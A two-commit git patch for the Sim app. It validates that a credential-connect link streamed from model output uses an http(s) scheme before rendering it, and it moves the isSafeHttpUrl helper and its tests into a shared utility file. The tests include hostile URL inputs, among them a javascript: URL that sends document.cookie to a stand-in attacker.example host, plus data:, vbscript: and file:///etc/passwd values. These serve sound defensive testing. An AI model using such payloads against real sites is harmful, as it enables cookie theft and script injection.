From f3274e665363081b7dcdfc4b34a8f71cce183eab Mon Sep 17 00:00:00 2001 From: waleed Date: Sat, 4 Jul 2026 12:04:18 -0700 Subject: [PATCH 1/2] fix(copilot): validate credential-link URL scheme before rendering Only render the credential connect link as a clickable anchor when its value resolves to an http(s) URL, reusing the isSafeHttpUrl helper already used for chat file links. --- .../special-tags/special-tags.test.tsx | 91 +++++++++++++++++++ .../components/special-tags/special-tags.tsx | 4 + 2 files changed, 95 insertions(+) create mode 100644 apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx new file mode 100644 index 00000000000..5fa56531a0b --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx @@ -0,0 +1,91 @@ +/** + * @vitest-environment jsdom + */ +import { act } from 'react' +import { createRoot, type Root } from 'react-dom/client' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { mockUseUserPermissionsContext } = vi.hoisted(() => ({ + mockUseUserPermissionsContext: vi.fn(), +})) + +vi.mock('@/app/workspace/[workspaceId]/providers/workspace-permissions-provider', () => ({ + useUserPermissionsContext: mockUseUserPermissionsContext, +})) + +vi.mock('next/navigation', () => ({ + useParams: () => ({ workspaceId: 'workspace-1' }), +})) + +import type { CredentialTagData } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags' +import { SpecialTags } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags' + +/** + * Minimal dependency-free render harness (the repo has no `@testing-library/react`). Mounts the + * component in a real React 19 root under jsdom, matching the pattern in `use-autosave.test.tsx`. + */ +function renderCredentialLink(data: CredentialTagData): { container: HTMLDivElement; root: Root } { + ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true + const container = document.createElement('div') + const root: Root = createRoot(container) + act(() => { + root.render() + }) + return { container, root } +} + +describe('CredentialDisplay link tag', () => { + beforeEach(() => { + vi.clearAllMocks() + mockUseUserPermissionsContext.mockReturnValue({ canEdit: true }) + }) + + it('does not render an anchor for a javascript: scheme value', () => { + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'javascript:alert(1)', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) + + it('does not render an anchor for a data: scheme value', () => { + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'data:text/html,', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) + + it('renders a working link for a real http(s) connect URL', () => { + const url = 'https://github.com/login/oauth/authorize?client_id=abc&scope=repo' + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: url, + }) + + const link = container.querySelector('a') + expect(link).not.toBeNull() + expect(link?.getAttribute('href')).toBe(url) + expect(container.textContent).toContain('Connect github') + act(() => root.unmount()) + }) + + it('renders nothing when the user cannot edit, regardless of URL safety', () => { + mockUseUserPermissionsContext.mockReturnValue({ canEdit: false }) + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'https://github.com/login/oauth/authorize', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) +}) diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx index e8de183ad03..01d75e687cf 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx @@ -16,6 +16,7 @@ import { import { useParams } from 'next/navigation' import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils' import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth' +import { isSafeHttpUrl } from '@/app/(interfaces)/chat/components/message/components/file-download' import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon' import type { ChatMessageContext, @@ -754,6 +755,9 @@ function CredentialDisplay({ data }: { data: CredentialTagData }) { if (data.type === 'link') { // Connecting a credential mutates the workspace — hide it from read-only members. if (!data.provider || !canEdit) return null + // The connect link value comes from the streamed model output, so only + // render it as a clickable link when it resolves to a real http(s) URL. + if (!data.value || !isSafeHttpUrl(data.value)) return null const Icon = getCredentialIcon(data.provider) ?? LockIcon return ( Date: Sat, 4 Jul 2026 15:04:29 -0700 Subject: [PATCH 2/2] refactor(copilot): move isSafeHttpUrl to shared lib/core/utils/urls Per Greptile's convention feedback: isSafeHttpUrl was consumed by both chat and workspace/home but defined inside a feature-specific 'use client' component. Move it alongside getBrowserOrigin (which it already depends on) in lib/core/utils/urls.ts, matching this repo's shared-utility rule. --- .../message/components/file-download.test.tsx | 58 ------------------- .../message/components/file-download.tsx | 17 +----- .../components/special-tags/special-tags.tsx | 2 +- apps/sim/lib/core/utils/urls.test.ts | 33 +++++++++++ apps/sim/lib/core/utils/urls.ts | 15 +++++ 5 files changed, 50 insertions(+), 75 deletions(-) delete mode 100644 apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx diff --git a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx deleted file mode 100644 index 01bff16b95b..00000000000 --- a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx +++ /dev/null @@ -1,58 +0,0 @@ -/** - * @vitest-environment jsdom - */ -import { describe, expect, it, vi } from 'vitest' - -vi.mock('@sim/emcn', () => ({ - Button: () => null, - Download: () => null, - Loader: () => null, -})) - -vi.mock('@/components/icons/document-icons', () => ({ - DefaultFileIcon: () => null, - getDocumentIcon: () => () => null, -})) - -vi.mock('@/lib/core/config/env', () => ({ - env: {}, - getEnv: vi.fn(), -})) - -vi.mock('@/lib/core/config/env-flags', () => ({ - isProd: false, -})) - -import { isSafeHttpUrl } from '@/app/(interfaces)/chat/components/message/components/file-download' - -describe('isSafeHttpUrl', () => { - it('allows absolute http(s) URLs', () => { - expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) - expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) - }) - - it('allows same-origin relative URLs (resolved against the browser origin)', () => { - expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) - }) - - it('rejects javascript: URLs', () => { - expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) - expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) - }) - - it('rejects other script-capable or non-navigable schemes', () => { - expect(isSafeHttpUrl('data:text/html,')).toBe(false) - expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) - expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) - expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) - }) - - it('treats relative junk as same-origin http (safe) rather than throwing', () => { - expect(isSafeHttpUrl('')).toBe(true) - expect(isSafeHttpUrl('not a url')).toBe(true) - }) - - it('rejects unparseable absolute input without throwing', () => { - expect(isSafeHttpUrl('http://')).toBe(false) - }) -}) diff --git a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx index 81e051579d3..e42b8e42b2b 100644 --- a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx +++ b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx @@ -6,7 +6,7 @@ import { createLogger } from '@sim/logger' import { sleep } from '@sim/utils/helpers' import { Music } from 'lucide-react' import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons' -import { getBrowserOrigin } from '@/lib/core/utils/urls' +import { isSafeHttpUrl } from '@/lib/core/utils/urls' import type { ChatFile } from '@/app/(interfaces)/chat/components/message/message' const logger = createLogger('ChatFileDownload') @@ -54,21 +54,6 @@ function getFileUrl(file: ChatFile): string { return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}` } -/** - * Validates that a URL uses an http(s) scheme before it is opened in a new window. - * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could - * execute script in the chat origin, since `file.url` originates from untrusted - * workflow/agent output. - */ -export function isSafeHttpUrl(url: string): boolean { - try { - const parsed = new URL(url, getBrowserOrigin() ?? undefined) - return parsed.protocol === 'http:' || parsed.protocol === 'https:' - } catch { - return false - } -} - async function triggerDownload(url: string, filename: string): Promise { const response = await fetch(url) if (!response.ok) { diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx index 01d75e687cf..26dc28aad23 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx @@ -15,8 +15,8 @@ import { } from '@sim/emcn' import { useParams } from 'next/navigation' import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils' +import { isSafeHttpUrl } from '@/lib/core/utils/urls' import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth' -import { isSafeHttpUrl } from '@/app/(interfaces)/chat/components/message/components/file-download' import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon' import type { ChatMessageContext, diff --git a/apps/sim/lib/core/utils/urls.test.ts b/apps/sim/lib/core/utils/urls.test.ts index 2878a49feb1..f32618d3ee5 100644 --- a/apps/sim/lib/core/utils/urls.test.ts +++ b/apps/sim/lib/core/utils/urls.test.ts @@ -20,6 +20,7 @@ import { getBrowserOrigin, getSocketUrl, isLocalhostUrl, + isSafeHttpUrl, parseOriginList, } from '@/lib/core/utils/urls' @@ -133,3 +134,35 @@ describe('isLocalhostUrl', () => { expect(isLocalhostUrl('')).toBe(false) }) }) + +describe('isSafeHttpUrl', () => { + it('allows absolute http(s) URLs', () => { + expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) + expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) + }) + + it('allows same-origin relative URLs (resolved against the browser origin)', () => { + expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) + }) + + it('rejects javascript: URLs', () => { + expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) + expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) + }) + + it('rejects other script-capable or non-navigable schemes', () => { + expect(isSafeHttpUrl('data:text/html,')).toBe(false) + expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) + expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) + expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) + }) + + it('treats relative junk as same-origin http (safe) rather than throwing', () => { + expect(isSafeHttpUrl('')).toBe(true) + expect(isSafeHttpUrl('not a url')).toBe(true) + }) + + it('rejects unparseable absolute input without throwing', () => { + expect(isSafeHttpUrl('http://')).toBe(false) + }) +}) diff --git a/apps/sim/lib/core/utils/urls.ts b/apps/sim/lib/core/utils/urls.ts index 1a014b295d6..cd341806a27 100644 --- a/apps/sim/lib/core/utils/urls.ts +++ b/apps/sim/lib/core/utils/urls.ts @@ -169,6 +169,21 @@ export function getBrowserOrigin(): string | null { return typeof window !== 'undefined' ? window.location.origin : null } +/** + * Validates that a URL uses an http(s) scheme before it is opened in a new window. + * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could + * execute script in the chat origin, since `file.url` originates from untrusted + * workflow/agent output. + */ +export function isSafeHttpUrl(url: string): boolean { + try { + const parsed = new URL(url, getBrowserOrigin() ?? undefined) + return parsed.protocol === 'http:' || parsed.protocol === 'https:' + } catch { + return false + } +} + /** * Returns the socket server URL for server-side internal API calls. * Reads from SOCKET_SERVER_URL with a localhost fallback for development.